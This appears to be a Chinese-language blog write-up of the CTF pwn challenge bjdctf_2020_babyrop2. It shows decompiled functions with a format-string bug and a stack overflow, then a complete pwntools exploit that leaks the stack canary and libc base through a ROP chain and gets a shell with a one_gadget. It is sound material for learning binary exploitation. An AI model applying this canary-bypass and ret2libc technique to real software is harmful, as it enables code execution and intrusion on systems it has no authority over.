bjdctf_2020_babyrop2

题目链接:bjdctf_2020_babyrop2

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  gift();
  vuln();
  return 0;
}

gift 函数如下。

unsigned __int64 gift()
{
  char format[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", format);
  printf(format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ v2;
}

vuln 函数如下。

unsigned __int64 vuln()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}

可以看到,gift 函数中存在一处格式化字符串漏洞,vuln 函数存在栈溢出。

但本地存在 canary,因此,可以在 gift 函数中泄露 canary 的值,从而绕过 canary。

解题思路:

  1. 格式化字符串泄露 canary 值。
  2. 栈溢出,ROP 泄露 LIBC 基址。
  3. 打 One_GadGet。

解题脚本:

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # 0x0000000000400993 : pop rdi ; ret
    # .text:00000000004006A0 ; void __fastcall __noreturn start(__int64, __int64, void (*)(void))

    sla("I'll give u some gift to help u!\n", '%7$p')

    canary = p64(int(ru('00\n')[-19:-1], 16))
    leak('canary', u64(canary))

    sa('Pull up your sword and tell me u story!\n', 0x18 * b'a' + \
       canary + \
            0x8 * b'a' + \
            p64(0x0000000000400993) + \
                p64(ELF_FILE.got['read']) + \
                    p64(ELF_FILE.plt['puts']) + \
                        p64(0x00000000004006A0))
    
    LIBC_ADDR = uu64(ru('\x7F')[-6:]) - LIBC_FILE.symbols['read']
    leak('LIBC_ADDR', LIBC_ADDR)
    one = one_gadget(LIBC_ADDR)

    sla("I'll give u some gift to help u!\n", '%7$p')

    canary = p64(int(ru('00\n')[-19:-1], 16))
    leak('canary', u64(canary))

    sa('Pull up your sword and tell me u story!\n', 0x18 * b'a' + \
       canary + \
            0x8 * b'a' + \
            p64(one[0])
    )

    irt()

pwn()
posted @ 2025-09-06 13:12  imtaieee  阅读(37)  评论(0)    收藏  举报